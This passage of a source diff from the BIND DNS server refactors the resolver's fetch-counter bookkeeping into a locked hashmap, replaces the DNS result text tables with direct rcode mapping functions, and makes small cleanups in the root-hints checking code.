-	int i;
+	isc_result_t result;
+	isc_hashmap_iter_t *it = NULL;
 
-	REQUIRE(VALID_RESOLVER(resolver));
+	REQUIRE(VALID_RESOLVER(res));
 	REQUIRE(fp != NULL);
 	REQUIRE(format == isc_statsformat_file);
 
-	for (i = 0; i < RES_DOMAIN_BUCKETS; i++) {
-		fctxcount_t *fc;
-		LOCK(&resolver->dbuckets[i].lock);
-		for (fc = ISC_LIST_HEAD(resolver->dbuckets[i].list); fc != NULL;
-		     fc = ISC_LIST_NEXT(fc, link))
-		{
-			dns_name_print(fc->domain, fp);
-			fprintf(fp, ": %u active (%u spilled, %u allowed)\n",
-				fc->count, fc->dropped, fc->allowed);
+	RWLOCK(&res->counters_lock, isc_rwlocktype_read);
+	isc_hashmap_iter_create(res->counters, &it);
+	for (result = isc_hashmap_iter_first(it); result == ISC_R_SUCCESS;
+	     result = isc_hashmap_iter_next(it))
+	{
+		fctxcount_t *counter = NULL;
+		isc_hashmap_iter_current(it, (void **)&counter);
+
+		dns_name_print(counter->domain, fp);
+		fprintf(fp,
+			": %" PRIuFAST32 " active (%" PRIuFAST32
+			" spilled, %" PRIuFAST32 " allowed)\n",
+			counter->count, counter->dropped, counter->allowed);
+	}
+	RWUNLOCK(&res->counters_lock, isc_rwlocktype_read);
+	isc_hashmap_iter_destroy(&it);
+}
+
+isc_result_t
+dns_resolver_dumpquota(dns_resolver_t *res, isc_buffer_t **buf) {
+	isc_result_t result;
+	isc_hashmap_iter_t *it = NULL;
+	uint_fast32_t spill;
+
+	REQUIRE(VALID_RESOLVER(res));
+
+	spill = atomic_load_acquire(&res->zspill);
+	if (spill == 0) {
+		return (ISC_R_SUCCESS);
+	}
+
+	RWLOCK(&res->counters_lock, isc_rwlocktype_read);
+	isc_hashmap_iter_create(res->counters, &it);
+	for (result = isc_hashmap_iter_first(it); result == ISC_R_SUCCESS;
+	     result = isc_hashmap_iter_next(it))
+	{
+		fctxcount_t *counter = NULL;
+		uint_fast32_t count, dropped, allowed;
+		char nb[DNS_NAME_FORMATSIZE];
+		char text[DNS_NAME_FORMATSIZE + BUFSIZ];
+
+		isc_hashmap_iter_current(it, (void **)&counter);
+
+		LOCK(&counter->lock);
+		count = counter->count;
+		dropped = counter->dropped;
+		allowed = counter->allowed;
+		UNLOCK(&counter->lock);
+
+		if (count < spill) {
+			continue;
+		}
+
+		dns_name_format(counter->domain, nb, sizeof(nb));
+		snprintf(text, sizeof(text),
+			 "\n- %s: %" PRIuFAST32 " active (allowed %" PRIuFAST32
+			 " spilled %" PRIuFAST32 ")",
+			 nb, count, allowed, dropped);
+
+		result = isc_buffer_reserve(*buf, strlen(text));
+		if (result != ISC_R_SUCCESS) {
+			goto cleanup;
 		}
-		UNLOCK(&resolver->dbuckets[i].lock);
+		isc_buffer_putstr(*buf, text);
+	}
+	if (result == ISC_R_NOMORE) {
+		result = ISC_R_SUCCESS;
 	}
+
+cleanup:
+	RWUNLOCK(&res->counters_lock, isc_rwlocktype_read);
+	isc_hashmap_iter_destroy(&it);
+	return (result);
 }
 
 void
@@ -11820,3 +11042,50 @@ dns_resolver_setnonbackofftries(dns_resolver_t *resolver, unsigned int tries) {
 
 	resolver->nonbackofftries = tries;
 }
+
+void
+dns_resolver_setstats(dns_resolver_t *res, isc_stats_t *stats) {
+	REQUIRE(VALID_RESOLVER(res));
+	REQUIRE(res->stats == NULL);
+
+	isc_stats_attach(stats, &res->stats);
+
+	/* initialize the bucket "counter"; it's a static value */
+	set_stats(res, dns_resstatscounter_buckets,
+		  isc_loopmgr_nloops(res->loopmgr));
+}
+
+void
+dns_resolver_getstats(dns_resolver_t *res, isc_stats_t **statsp) {
+	REQUIRE(VALID_RESOLVER(res));
+	REQUIRE(statsp != NULL && *statsp == NULL);
+
+	if (res->stats != NULL) {
+		isc_stats_attach(res->stats, statsp);
+	}
+}
+
+void
+dns_resolver_incstats(dns_resolver_t *res, isc_statscounter_t counter) {
+	REQUIRE(VALID_RESOLVER(res));
+
+	isc_stats_increment(res->stats, counter);
+}
+
+void
+dns_resolver_setquerystats(dns_resolver_t *res, dns_stats_t *stats) {
+	REQUIRE(VALID_RESOLVER(res));
+	REQUIRE(res->querystats == NULL);
+
+	dns_stats_attach(stats, &res->querystats);
+}
+
+void
+dns_resolver_getquerystats(dns_resolver_t *res, dns_stats_t **statsp) {
+	REQUIRE(VALID_RESOLVER(res));
+	REQUIRE(statsp != NULL && *statsp == NULL);
+
+	if (res->querystats != NULL) {
+		dns_stats_attach(res->querystats, statsp);
+	}
+}
diff --git a/lib/dns/result.c b/lib/dns/result.c
index 1c8641227b..0e695f4a95 100644
--- a/lib/dns/result.c
+++ b/lib/dns/result.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -12,417 +14,29 @@
 /*! \file */
 
 #include <isc/once.h>
+#include <isc/result.h>
 #include <isc/util.h>
 
-#include <dns/lib.h>
 #include <dns/result.h>
 
-static const char *text[DNS_R_NRESULTS] = {
-	"label too long", /*%< 0 DNS_R_LABELTOOLONG */
-	"bad escape",	  /*%< 1 DNS_R_BADESCAPE */
-	/*!
-	 * Note that DNS_R_BADBITSTRING and DNS_R_BITSTRINGTOOLONG are
-	 * deprecated.
-	 */
-	"bad bitstring",      /*%< 2 DNS_R_BADBITSTRING */
-	"bitstring too long", /*%< 3 DNS_R_BITSTRINGTOOLONG */
-	"empty label",	      /*%< 4 DNS_R_EMPTYLABEL */
-
-	"bad dotted quad",		    /*%< 5 DNS_R_BADDOTTEDQUAD */
-	"invalid NS owner name (wildcard)", /*%< 6 DNS_R_INVALIDNS */
-	"unknown class/type",		    /*%< 7 DNS_R_UNKNOWN */
-	"bad label type",		    /*%< 8 DNS_R_BADLABELTYPE */
-	"bad compression pointer",	    /*%< 9 DNS_R_BADPOINTER */
-
-	"too many hops",		      /*%< 10 DNS_R_TOOMANYHOPS */
-	"disallowed (by application policy)", /*%< 11 DNS_R_DISALLOWED */
-	"extra input text",		      /*%< 12 DNS_R_EXTRATOKEN */
-	"extra input data",		      /*%< 13 DNS_R_EXTRADATA */
-	"text too long",		      /*%< 14 DNS_R_TEXTTOOLONG */
-
-	"not at top of zone", /*%< 15 DNS_R_NOTZONETOP */
-	"syntax error",	      /*%< 16 DNS_R_SYNTAX */
-	"bad checksum",	      /*%< 17 DNS_R_BADCKSUM */
-	"bad IPv6 address",   /*%< 18 DNS_R_BADAAAA */
-	"no owner",	      /*%< 19 DNS_R_NOOWNER */
-
-	"no ttl",	 /*%< 20 DNS_R_NOTTL */
-	"bad class",	 /*%< 21 DNS_R_BADCLASS */
-	"name too long", /*%< 22 DNS_R_NAMETOOLONG */
-	"partial match", /*%< 23 DNS_R_PARTIALMATCH */
-	"new origin",	 /*%< 24 DNS_R_NEWORIGIN */
-
-	"unchanged",			   /*%< 25 DNS_R_UNCHANGED */
-	"bad ttl",			   /*%< 26 DNS_R_BADTTL */
-	"more data needed/to be rendered", /*%< 27 DNS_R_NOREDATA */
-	"continue",			   /*%< 28 DNS_R_CONTINUE */
-	"delegation",			   /*%< 29 DNS_R_DELEGATION */
-
-	"glue",		/*%< 30 DNS_R_GLUE */
-	"dname",	/*%< 31 DNS_R_DNAME */
-	"cname",	/*%< 32 DNS_R_CNAME */
-	"bad database", /*%< 33 DNS_R_BADDB */
-	"zonecut",	/*%< 34 DNS_R_ZONECUT */
-
-	"bad zone",		/*%< 35 DNS_R_BADZONE */
-	"more data",		/*%< 36 DNS_R_MOREDATA */
-	"up to date",		/*%< 37 DNS_R_UPTODATE */
-	"tsig verify failure",	/*%< 38 DNS_R_TSIGVERIFYFAILURE */
-	"tsig indicates error", /*%< 39 DNS_R_TSIGERRORSET */
-
-	"RRSIG failed to verify",	       /*%< 40 DNS_R_SIGINVALID */
-	"RRSIG has expired",		       /*%< 41 DNS_R_SIGEXPIRED */
-	"RRSIG validity period has not begun", /*%< 42 DNS_R_SIGFUTURE */
-	"key is unauthorized to sign data",    /*%< 43 DNS_R_KEYUNAUTHORIZED */
-	"invalid time",			       /*%< 44 DNS_R_INVALIDTIME */
-
-	"expected a TSIG or SIG(0)",	   /*%< 45 DNS_R_EXPECTEDTSIG */
-	"did not expect a TSIG or SIG(0)", /*%< 46 DNS_R_UNEXPECTEDTSIG */
-	"TKEY is unacceptable",		   /*%< 47 DNS_R_INVALIDTKEY */
-	"hint",				   /*%< 48 DNS_R_HINT */
-	"drop",				   /*%< 49 DNS_R_DROP */
-
-	"zone not loaded",  /*%< 50 DNS_R_NOTLOADED */
-	"ncache nxdomain",  /*%< 51 DNS_R_NCACHENXDOMAIN */
-	"ncache nxrrset",   /*%< 52 DNS_R_NCACHENXRRSET */
-	"wait",		    /*%< 53 DNS_R_WAIT */
-	"not verified yet", /*%< 54 DNS_R_NOTVERIFIEDYET */
-
-	"no identity",	  /*%< 55 DNS_R_NOIDENTITY */
-	"no journal",	  /*%< 56 DNS_R_NOJOURNAL */
-	"alias",	  /*%< 57 DNS_R_ALIAS */
-	"use TCP",	  /*%< 58 DNS_R_USETCP */
-	"no valid RRSIG", /*%< 59 DNS_R_NOVALIDSIG */
-
-	"no valid NSEC",		/*%< 60 DNS_R_NOVALIDNSEC */
-	"insecurity proof failed",	/*%< 61 DNS_R_NOTINSECURE */
-	"unknown service",		/*%< 62 DNS_R_UNKNOWNSERVICE */
-	"recoverable error occurred",	/*%< 63 DNS_R_RECOVERABLE */
-	"unknown opt attribute record", /*%< 64 DNS_R_UNKNOWNOPT */
-
-	"unexpected message id", /*%< 65 DNS_R_UNEXPECTEDID */
-	"seen include file",	 /*%< 66 DNS_R_SEENINCLUDE */
-	"not exact",		 /*%< 67 DNS_R_NOTEXACT */
-	"address blackholed",	 /*%< 68 DNS_R_BLACKHOLED */
-	"bad algorithm",	 /*%< 69 DNS_R_BADALG */
-
-	"invalid use of a meta type",	  /*%< 70 DNS_R_METATYPE */
-	"CNAME and other data",		  /*%< 71 DNS_R_CNAMEANDOTHER */
-	"multiple RRs of singleton type", /*%< 72 DNS_R_SINGLETON */
-	"hint nxrrset",			  /*%< 73 DNS_R_HINTNXRRSET */
-	"no master file configured",	  /*%< 74 DNS_R_NOMASTERFILE */
-
-	"unknown protocol",	     /*%< 75 DNS_R_UNKNOWNPROTO */
-	"clocks are unsynchronized", /*%< 76 DNS_R_CLOCKSKEW */
-	"IXFR failed",		     /*%< 77 DNS_R_BADIXFR */
-	"not authoritative",	     /*%< 78 DNS_R_NOTAUTHORITATIVE */
-	"no valid KEY",		     /*%< 79 DNS_R_NOVALIDKEY */
-
-	"obsolete",	       /*%< 80 DNS_R_OBSOLETE */
-	"already frozen",      /*%< 81 DNS_R_FROZEN */
-	"unknown flag",	       /*%< 82 DNS_R_UNKNOWNFLAG */
-	"expected a response", /*%< 83 DNS_R_EXPECTEDRESPONSE */
-	"no valid DS",	       /*%< 84 DNS_R_NOVALIDDS */
-
-	"NS is an address",	  /*%< 85 DNS_R_NSISADDRESS */
-	"received FORMERR",	  /*%< 86 DNS_R_REMOTEFORMERR */
-	"truncated TCP response", /*%< 87 DNS_R_TRUNCATEDTCP */
-	"lame server detected",	  /*%< 88 DNS_R_LAME */
-	"unexpected RCODE",	  /*%< 89 DNS_R_UNEXPECTEDRCODE */
-
-	"unexpected OPCODE", /*%< 90 DNS_R_UNEXPECTEDOPCODE */
-	"chase DS servers",  /*%< 91 DNS_R_CHASEDSSERVERS */
-	"empty name",	     /*%< 92 DNS_R_EMPTYNAME */
-	"empty wild",	     /*%< 93 DNS_R_EMPTYWILD */
-	"bad bitmap",	     /*%< 94 DNS_R_BADBITMAP */
-
-	"from wildcard",		/*%< 95 DNS_R_FROMWILDCARD */
-	"bad owner name (check-names)", /*%< 96 DNS_R_BADOWNERNAME */
-	"bad name (check-names)",	/*%< 97 DNS_R_BADNAME */
-	"dynamic zone",			/*%< 98 DNS_R_DYNAMIC */
-	"unknown command",		/*%< 99 DNS_R_UNKNOWNCOMMAND */
-
-	"must-be-secure",		       /*%< 100 DNS_R_MUSTBESECURE */
-	"covering NSEC record returned",       /*%< 101 DNS_R_COVERINGNSEC */
-	"MX is an address",		       /*%< 102 DNS_R_MXISADDRESS */
-	"duplicate query",		       /*%< 103 DNS_R_DUPLICATE */
-	"invalid NSEC3 owner name (wildcard)", /*%< 104 DNS_R_INVALIDNSEC3 */
-
-	"not master",	      /*%< 105 DNS_R_NOTMASTER */
-	"broken trust chain", /*%< 106 DNS_R_BROKENCHAIN */
-	"expired",	      /*%< 107 DNS_R_EXPIRED */
-	"not dynamic",	      /*%< 108 DNS_R_NOTDYNAMIC */
-	"bad EUI",	      /*%< 109 DNS_R_BADEUI */
-
-	"covered by negative trust anchor", /*%< 110 DNS_R_NTACOVERED */
-	"bad CDS",			    /*%< 111 DNS_R_BADCDS */
-	"bad CDNSKEY",			    /*%< 112 DNS_R_BADCDNSKEY */
-	"malformed OPT option",		    /*%< 113 DNS_R_OPTERR */
-	"malformed DNSTAP data",	    /*%< 114 DNS_R_BADDNSTAP */
-
-	"TSIG in wrong location",   /*%< 115 DNS_R_BADTSIG */
-	"SIG(0) in wrong location", /*%< 116 DNS_R_BADSIG0 */
-	"too many records",	    /*%< 117 DNS_R_TOOMANYRECORDS */
-	"verify failure",	    /*%< 118 DNS_R_VERIFYFAILURE */
-	"at top of zone",	    /*%< 119 DNS_R_ATZONETOP */
-
-	"no matching key found",	 /*%< 120 DNS_R_NOKEYMATCH */
-	"too many keys matching",	 /*%< 121 DNS_R_TOOMANYKEYS */
-	"key is not actively signing",	 /*%< 122 DNS_R_KEYNOTACTIVE */
-	"NSEC3 iterations out of range", /*%< 123 DNS_R_NSEC3ITERRANGE */
-	"NSEC3 salt length too high",	 /*%< 124 DNS_R_NSEC3SALTRANGE */
-
-	"cannot use NSEC3 with key algorithm", /*%< 125 DNS_R_NSEC3BADALG */
-	"NSEC3 resalt",			       /*%< 126 DNS_R_NSEC3RESALT */
-};
-
-static const char *ids[DNS_R_NRESULTS] = {
-	"DNS_R_LABELTOOLONG",
-	"DNS_R_BADESCAPE",
-	/*!
-	 * Note that DNS_R_BADBITSTRING and DNS_R_BITSTRINGTOOLONG are
-	 * deprecated.
-	 */
-	"DNS_R_BADBITSTRING",
-	"DNS_R_BITSTRINGTOOLONG",
-	"DNS_R_EMPTYLABEL",
-	"DNS_R_BADDOTTEDQUAD",
-	"DNS_R_INVALIDNS",
-	"DNS_R_UNKNOWN",
-	"DNS_R_BADLABELTYPE",
-	"DNS_R_BADPOINTER",
-	"DNS_R_TOOMANYHOPS",
-	"DNS_R_DISALLOWED",
-	"DNS_R_EXTRATOKEN",
-	"DNS_R_EXTRADATA",
-	"DNS_R_TEXTTOOLONG",
-	"DNS_R_NOTZONETOP",
-	"DNS_R_SYNTAX",
-	"DNS_R_BADCKSUM",
-	"DNS_R_BADAAAA",
-	"DNS_R_NOOWNER",
-	"DNS_R_NOTTL",
-	"DNS_R_BADCLASS",
-	"DNS_R_NAMETOOLONG",
-	"DNS_R_PARTIALMATCH",
-	"DNS_R_NEWORIGIN",
-	"DNS_R_UNCHANGED",
-	"DNS_R_BADTTL",
-	"DNS_R_NOREDATA",
-	"DNS_R_CONTINUE",
-	"DNS_R_DELEGATION",
-	"DNS_R_GLUE",
-	"DNS_R_DNAME",
-	"DNS_R_CNAME",
-	"DNS_R_BADDB",
-	"DNS_R_ZONECUT",
-	"DNS_R_BADZONE",
-	"DNS_R_MOREDATA",
-	"DNS_R_UPTODATE",
-	"DNS_R_TSIGVERIFYFAILURE",
-	"DNS_R_TSIGERRORSET",
-	"DNS_R_SIGINVALID",
-	"DNS_R_SIGEXPIRED",
-	"DNS_R_SIGFUTURE",
-	"DNS_R_KEYUNAUTHORIZED",
-	"DNS_R_INVALIDTIME",
-	"DNS_R_EXPECTEDTSIG",
-	"DNS_R_UNEXPECTEDTSIG",
-	"DNS_R_INVALIDTKEY",
-	"DNS_R_HINT",
-	"DNS_R_DROP",
-	"DNS_R_NOTLOADED",
-	"DNS_R_NCACHENXDOMAIN",
-	"DNS_R_NCACHENXRRSET",
-	"DNS_R_WAIT",
-	"DNS_R_NOTVERIFIEDYET",
-	"DNS_R_NOIDENTITY",
-	"DNS_R_NOJOURNAL",
-	"DNS_R_ALIAS",
-	"DNS_R_USETCP",
-	"DNS_R_NOVALIDSIG",
-	"DNS_R_NOVALIDNSEC",
-	"DNS_R_NOTINSECURE",
-	"DNS_R_UNKNOWNSERVICE",
-	"DNS_R_RECOVERABLE",
-	"DNS_R_UNKNOWNOPT",
-	"DNS_R_UNEXPECTEDID",
-	"DNS_R_SEENINCLUDE",
-	"DNS_R_NOTEXACT",
-	"DNS_R_BLACKHOLED",
-	"DNS_R_BADALG",
-	"DNS_R_METATYPE",
-	"DNS_R_CNAMEANDOTHER",
-	"DNS_R_SINGLETON",
-	"DNS_R_HINTNXRRSET",
-	"DNS_R_NOMASTERFILE",
-	"DNS_R_UNKNOWNPROTO",
-	"DNS_R_CLOCKSKEW",
-	"DNS_R_BADIXFR",
-	"DNS_R_NOTAUTHORITATIVE",
-	"DNS_R_NOVALIDKEY",
-	"DNS_R_OBSOLETE",
-	"DNS_R_FROZEN",
-	"DNS_R_UNKNOWNFLAG",
-	"DNS_R_EXPECTEDRESPONSE",
-	"DNS_R_NOVALIDDS",
-	"DNS_R_NSISADDRESS",
-	"DNS_R_REMOTEFORMERR",
-	"DNS_R_TRUNCATEDTCP",
-	"DNS_R_LAME",
-	"DNS_R_UNEXPECTEDRCODE",
-	"DNS_R_UNEXPECTEDOPCODE",
-	"DNS_R_CHASEDSSERVERS",
-	"DNS_R_EMPTYNAME",
-	"DNS_R_EMPTYWILD",
-	"DNS_R_BADBITMAP",
-	"DNS_R_FROMWILDCARD",
-	"DNS_R_BADOWNERNAME",
-	"DNS_R_BADNAME",
-	"DNS_R_DYNAMIC",
-	"DNS_R_UNKNOWNCOMMAND",
-	"DNS_R_MUSTBESECURE",
-	"DNS_R_COVERINGNSEC",
-	"DNS_R_MXISADDRESS",
-	"DNS_R_DUPLICATE",
-	"DNS_R_INVALIDNSEC3",
-	"DNS_R_NOTMASTER",
-	"DNS_R_BROKENCHAIN",
-	"DNS_R_EXPIRED",
-	"DNS_R_NOTDYNAMIC",
-	"DNS_R_BADEUI",
-	"DNS_R_NTACOVERED",
-	"DNS_R_BADCDS",
-	"DNS_R_BADCDNSKEY",
-	"DNS_R_OPTERR",
-	"DNS_R_BADDNSTAP",
-	"DNS_R_BADTSIG",
-	"DNS_R_BADSIG0",
-	"DNS_R_TOOMANYRECORDS",
-	"DNS_R_VERIFYFAILURE",
-	"DNS_R_ATZONETOP",
-	"DNS_R_NOKEYMATCH",
-	"DNS_R_TOOMANYKEYS",
-	"DNS_R_KEYNOTACTIVE",
-	"DNS_R_NSEC3ITERRANGE",
-	"DNS_R_NSEC3SALTRANGE",
-	"DNS_R_NSEC3BADALG",
-	"DNS_R_NSEC3RESALT",
-};
-
-static const char *rcode_text[DNS_R_NRCODERESULTS] = {
-	"NOERROR",  /*%< 0 DNS_R_NOERROR */
-	"FORMERR",  /*%< 1 DNS_R_FORMERR */
-	"SERVFAIL", /*%< 2 DNS_R_SERVFAIL */
-	"NXDOMAIN", /*%< 3 DNS_R_NXDOMAIN */
-	"NOTIMP",   /*%< 4 DNS_R_NOTIMP */
-
-	"REFUSED",  /*%< 5 DNS_R_REFUSED */
-	"YXDOMAIN", /*%< 6 DNS_R_YXDOMAIN */
-	"YXRRSET",  /*%< 7 DNS_R_YXRRSET */
-	"NXRRSET",  /*%< 8 DNS_R_NXRRSET */
-	"NOTAUTH",  /*%< 9 DNS_R_NOTAUTH */
-
-	"NOTZONE",    /*%< 10 DNS_R_NOTZONE */
-	"<rcode 11>", /*%< 11 DNS_R_RCODE11 */
-	"<rcode 12>", /*%< 12 DNS_R_RCODE12 */
-	"<rcode 13>", /*%< 13 DNS_R_RCODE13 */
-	"<rcode 14>", /*%< 14 DNS_R_RCODE14 */
-
-	"<rcode 15>", /*%< 15 DNS_R_RCODE15 */
-	"BADVERS",    /*%< 16 DNS_R_BADVERS */
-};
-
-static const char *rcode_ids[DNS_R_NRCODERESULTS] = {
-	"DNS_R_NOERROR", "DNS_R_FORMERR", "DNS_R_SERVFAIL", "DNS_R_NXDOMAIN",
-	"DNS_R_NOTIMP",	 "DNS_R_REFUSED", "DNS_R_YXDOMAIN", "DNS_R_YXRRSET",
-	"DNS_R_NXRRSET", "DNS_R_NOTAUTH", "DNS_R_NOTZONE",  "DNS_R_RCODE11",
-	"RNS_R_RCODE12", "DNS_R_RCODE13", "DNS_R_RCODE14",  "DNS_R_RCODE15",
-	"DNS_R_BADVERS",
-};
-
-#define DNS_RESULT_RESULTSET	  2
-#define DNS_RESULT_RCODERESULTSET 3
-
-static isc_once_t once = ISC_ONCE_INIT;
-
-static void
-initialize_action(void) {
-	isc_result_t result;
-
-	result = isc_result_register(ISC_RESULTCLASS_DNS, DNS_R_NRESULTS, text,
-				     DNS_RESULT_RESULTSET);
-	if (result == ISC_R_SUCCESS) {
-		result = isc_result_register(ISC_RESULTCLASS_DNSRCODE,
-					     DNS_R_NRCODERESULTS, rcode_text,
-					     DNS_RESULT_RCODERESULTSET);
-	}
-	if (result != ISC_R_SUCCESS) {
-		UNEXPECTED_ERROR(__FILE__, __LINE__,
-				 "isc_result_register() failed: %u", result);
-	}
-
-	result = isc_result_registerids(ISC_RESULTCLASS_DNS, DNS_R_NRESULTS,
-					ids, DNS_RESULT_RESULTSET);
-	if (result == ISC_R_SUCCESS) {
-		result = isc_result_registerids(ISC_RESULTCLASS_DNSRCODE,
-						DNS_R_NRCODERESULTS, rcode_ids,
-						DNS_RESULT_RCODERESULTSET);
-	}
-	if (result != ISC_R_SUCCESS) {
-		UNEXPECTED_ERROR(__FILE__, __LINE__,
-				 "isc_result_registerids() failed: %u", result);
-	}
-}
-
-static void
-initialize(void) {
-	RUNTIME_CHECK(isc_once_do(&once, initialize_action) == ISC_R_SUCCESS);
-}
-
-const char *
-dns_result_totext(isc_result_t result) {
-	initialize();
-
-	return (isc_result_totext(result));
-}
-
-void
-dns_result_register(void) {
-	initialize();
-}
-
 dns_rcode_t
 dns_result_torcode(isc_result_t result) {
-	dns_rcode_t rcode = dns_rcode_servfail;
-
-	if (DNS_RESULT_ISRCODE(result)) {
-		/*
-		 * Rcodes can't be bigger than 12 bits, which is why we
-		 * AND with 0xFFF instead of 0xFFFF.
-		 */
-		return ((dns_rcode_t)((result)&0xFFF));
-	}
-
-	/*
-	 * Try to supply an appropriate rcode.
-	 */
+	/* Try to supply an appropriate rcode. */
 	switch (result) {
+	case DNS_R_NOERROR:
 	case ISC_R_SUCCESS:
-		rcode = dns_rcode_noerror;
-		break;
+		return (dns_rcode_noerror);
+	case DNS_R_FORMERR:
 	case ISC_R_BADBASE64:
 	case ISC_R_RANGE:
 	case ISC_R_UNEXPECTEDEND:
 	case DNS_R_BADAAAA:
-	/* case DNS_R_BADBITSTRING: deprecated */
 	case DNS_R_BADCKSUM:
 	case DNS_R_BADCLASS:
 	case DNS_R_BADLABELTYPE:
 	case DNS_R_BADPOINTER:
 	case DNS_R_BADTTL:
 	case DNS_R_BADZONE:
-	/* case DNS_R_BITSTRINGTOOLONG: deprecated */
 	case DNS_R_EXTRADATA:
 	case DNS_R_LABELTOOLONG:
 	case DNS_R_NOREDATA:
@@ -433,18 +47,73 @@ dns_result_torcode(isc_result_t result) {
 	case DNS_R_UNKNOWN:
 	case DNS_R_NAMETOOLONG:
 	case DNS_R_OPTERR:
-		rcode = dns_rcode_formerr;
-		break;
+		return (dns_rcode_formerr);
+	case DNS_R_SERVFAIL:
+		return (dns_rcode_servfail);
+	case DNS_R_NXDOMAIN:
+		return (dns_rcode_nxdomain);
+	case DNS_R_NOTIMP:
+		return (dns_rcode_notimp);
+	case DNS_R_REFUSED:
 	case DNS_R_DISALLOWED:
-		rcode = dns_rcode_refused;
-		break;
+		return (dns_rcode_refused);
+	case DNS_R_YXDOMAIN:
+		return (dns_rcode_yxdomain);
+	case DNS_R_YXRRSET:
+		return (dns_rcode_yxrrset);
+	case DNS_R_NXRRSET:
+		return (dns_rcode_nxrrset);
+	case DNS_R_NOTAUTH:
 	case DNS_R_TSIGVERIFYFAILURE:
 	case DNS_R_CLOCKSKEW:
-		rcode = dns_rcode_notauth;
-		break;
+		return (dns_rcode_notauth);
+	case DNS_R_NOTZONE:
+		return (dns_rcode_notzone);
+	case DNS_R_RCODE11:
+	case DNS_R_RCODE12:
+	case DNS_R_RCODE13:
+	case DNS_R_RCODE14:
+	case DNS_R_RCODE15:
+		return (result - DNS_R_NOERROR);
+	case DNS_R_BADVERS:
+		return (dns_rcode_badvers);
+	case DNS_R_BADCOOKIE:
+		return (dns_rcode_badcookie);
 	default:
-		rcode = dns_rcode_servfail;
+		return (dns_rcode_servfail);
 	}
+}
 
-	return (rcode);
+isc_result_t
+dns_result_fromrcode(dns_rcode_t rcode) {
+	switch (rcode) {
+	case dns_rcode_noerror:
+		return (DNS_R_NOERROR);
+	case dns_rcode_formerr:
+		return (DNS_R_FORMERR);
+	case dns_rcode_servfail:
+		return (DNS_R_SERVFAIL);
+	case dns_rcode_nxdomain:
+		return (DNS_R_NXDOMAIN);
+	case dns_rcode_notimp:
+		return (DNS_R_NOTIMP);
+	case dns_rcode_refused:
+		return (DNS_R_REFUSED);
+	case dns_rcode_yxdomain:
+		return (DNS_R_YXDOMAIN);
+	case dns_rcode_yxrrset:
+		return (DNS_R_YXRRSET);
+	case dns_rcode_nxrrset:
+		return (DNS_R_NXRRSET);
+	case dns_rcode_notauth:
+		return (DNS_R_NOTAUTH);
+	case dns_rcode_notzone:
+		return (DNS_R_NOTZONE);
+	case dns_rcode_badvers:
+		return (DNS_R_BADVERS);
+	case dns_rcode_badcookie:
+		return (DNS_R_BADCOOKIE);
+	default:
+		return (DNS_R_SERVFAIL);
+	}
 }
diff --git a/lib/dns/rootns.c b/lib/dns/rootns.c
index 885c2fb3ef..3e96694e56 100644
--- a/lib/dns/rootns.c
+++ b/lib/dns/rootns.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -14,7 +16,8 @@
 #include <stdbool.h>
 
 #include <isc/buffer.h>
-#include <isc/string.h> /* Required for HP/UX (and others?) */
+#include <isc/result.h>
+#include <isc/string.h>
 #include <isc/util.h>
 
 #include <dns/callbacks.h>
@@ -28,7 +31,6 @@
 #include <dns/rdatasetiter.h>
 #include <dns/rdatastruct.h>
 #include <dns/rdatatype.h>
-#include <dns/result.h>
 #include <dns/rootns.h>
 #include <dns/view.h>
 
@@ -128,7 +130,7 @@ check_node(dns_rdataset_t *rootns, dns_name_t *name,
 			if (dns_name_compare(name, dns_rootname) == 0) {
 				break;
 			}
-		/* FALLTHROUGH */
+			FALLTHROUGH;
 		default:
 			result = ISC_R_FAILURE;
 			goto cleanup;
@@ -152,13 +154,11 @@ check_hints(dns_db_t *db) {
 	dns_rdataset_t rootns;
 	dns_dbiterator_t *dbiter = NULL;
 	dns_dbnode_t *node = NULL;
-	isc_stdtime_t now;
+	isc_stdtime_t now = isc_stdtime_now();
 	dns_fixedname_t fixname;
 	dns_name_t *name;
 	dns_rdatasetiter_t *rdsiter = NULL;
 
-	isc_stdtime_get(&now);
-
 	name = dns_fixedname_initname(&fixname);
 
 	dns_rdataset_init(&rootns);
@@ -174,7 +174,7 @@ check_hints(dns_db_t *db) {
 		if (result != ISC_R_SUCCESS) {
 			goto cleanup;
 		}
-		result = dns_db_allrdatasets(db, node, NULL, now, &rdsiter);
+		result = dns_db_allrdatasets(db, node, NULL, 0, now, &rdsiter);
 		if (result != ISC_R_SUCCESS) {
 			goto cleanup;
 		}
@@ -291,7 +291,8 @@ report(dns_view_t *view, dns_name_t *name, bool missing, dns_rdata_t *rdata) {
 	isc_result_t result;
 
 	if (strcmp(view->name, "_bind") != 0 &&
-	    strcmp(view->name, "_default") != 0) {
+	    strcmp(view->name, "_default") != 0)
+	{
 		viewname = view->name;
 		sep = ": view ";
 	}
@@ -457,7 +458,7 @@ dns_root_checkhints(dns_view_t *view, dns_db_t *hints, dns_db_t *db) {
 	dns_rdata_ns_t ns;
 	dns_rdataset_t hintns, rootns;
 	const char *viewname = "", *sep = "";
-	isc_stdtime_t now;
+	isc_stdtime_t now = isc_stdtime_now();
 	dns_name_t *name;
 	dns_fixedname_t fixed;
 
@@ -465,10 +466,9 @@ dns_root_checkhints(dns_view_t *view, dns_db_t *hints, dns_db_t *db) {
 	REQUIRE(db != NULL);
 	REQUIRE(view != NULL);
 
-	isc_stdtime_get(&now);
-
 	if (strcmp(view->name, "_bind") != 0 &&
-	    strcmp(view->name, "_default") != 0) {
+	    strcmp(view->name, "_default") != 0)
+	{
 		viewname = view->name;
 		sep = ": view ";
 	}
@@ -484,7 +484,7 @@ dns_root_checkhints(dns_view_t *view, dns_db_t *hints, dns_db_t *db) {
 			      DNS_LOGMODULE_HINTS, ISC_LOG_WARNING,
 			      "checkhints%s%s: unable to get root NS rrset "
 			      "from hints: %s",
-			      sep, viewname, dns_result_totext(result));
+			      sep, viewname, isc_result_totext(result));
 		goto cleanup;
 	}
 
